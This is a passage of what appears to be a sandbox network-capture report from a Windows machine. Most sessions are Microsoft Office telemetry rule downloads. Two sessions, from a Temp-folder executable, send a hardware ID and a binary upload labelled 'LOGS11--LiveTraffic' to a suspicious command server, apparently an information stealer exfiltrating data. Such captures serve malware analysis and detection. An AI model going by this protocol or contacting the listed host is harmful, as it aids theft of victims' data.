xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:39 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142239Z-178bfbc474bq2pr7hC1NYCkfgg00000004s0000000007d5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:39 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142239Z-178bfbc474b9fdhphC1NYCac0n00000004fg00000000b8sh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142239Z-178bfbc474bmqmgjhC1NYCy16c00000004p0000000009tdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49854	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:40 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0WQC5PGZ3G04RY7F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: property-imper.sbs
2024-11-23 14:22:40 UTC	15331	OUT	Data Raw: 2d 2d 30 57 51 43 35 50 47 5a 33 47 30 34 52 59 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 30 57 51 43 35 50 47 5a 33 47 30 34 52 59 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 57 51 43 35 50 47 5a 33 47 30 34 52 59 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --0WQC5PGZ3G04RY7FContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--0WQC5PGZ3G04RY7FContent-Disposition: form-data; name="pid"3--0WQC5PGZ3G04RY7FContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 14:22:40 UTC	5100	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-23 14:22:41 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=99j3v7pndpgr7j3n66jikpflns; expires=Wed, 19-Mar-2025 08:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2FfzznOSKaCXx2fKB1e1QT3kDNFaYSPtKLcfL4vrYC%2B6pbSYgPkhOazOK2oSuky6zl%2FnKEhdt75rIAUbXn9YhA2KjfWzclLZ70SJ4tQa1qUoPtj5JlyhSu19kIYOrRQTIJhQl0A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d00e3c93187d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21393&delivery_rate=1706604&cwnd=152&unsent_bytes=0&cid=462d50f14aa00e0a&ts=914&x=0"
2024-11-23 14:22:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142241Z-15b8b599d885ffrhhC1TEBtuv000000003600000000038fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142241Z-178bfbc474b9fdhphC1NYCac0n00000004fg00000000b8un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: fde4123d-901e-00a0-613d-3c6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142241Z-178bfbc474bbbqrhhC1NYCvw7400000004r0000000009vbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142242Z-178bfbc474bscnbchC1NYCe7eg00000004p000000000e703 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142242Z-178bfbc474bfw4gbhC1NYCunf400000004k000000000bp7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49865	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:43 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RA0R9F5Z8EN7M2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1259 Host: property-imper.sbs
2024-11-23 14:22:43 UTC	1259	OUT	Data Raw: 2d 2d 52 41 30 52 39 46 35 5a 38 45 4e 37 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 41 30 52 39 46 35 5a 38 45 4e 37 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 41 30 52 39 46 35 5a 38 45 4e 37 4d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 52 41 Data Ascii: --RA0R9F5Z8EN7M2Content-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--RA0R9F5Z8EN7M2Content-Disposition: form-data; name="pid"1--RA0R9F5Z8EN7M2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--RA
2024-11-23 14:22:44 UTC	1026	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8j5ia71k9b0l1msr7nqr8hn0ln; expires=Wed, 19-Mar-2025 08:09:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t7p%2Fv0HmzmrzBP4wbExkm7rhHYxL1%2B1RnQSWwyXrv%2FWIiO6j%2FM2k3FMi4J5qB9ByqSV44MQu28mSudUSul%2FKscLxi0cGSTm%2FGi2xlO%2FG6yF97meDfPZ7URr%2BeEx%2FfWTiFKtJVzo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d023dd724327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2174&delivery_rate=1646926&cwnd=245&unsent_bytes=0&cid=9cd432c682670f6d&ts=726&x=0"
2024-11-23 14:22:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
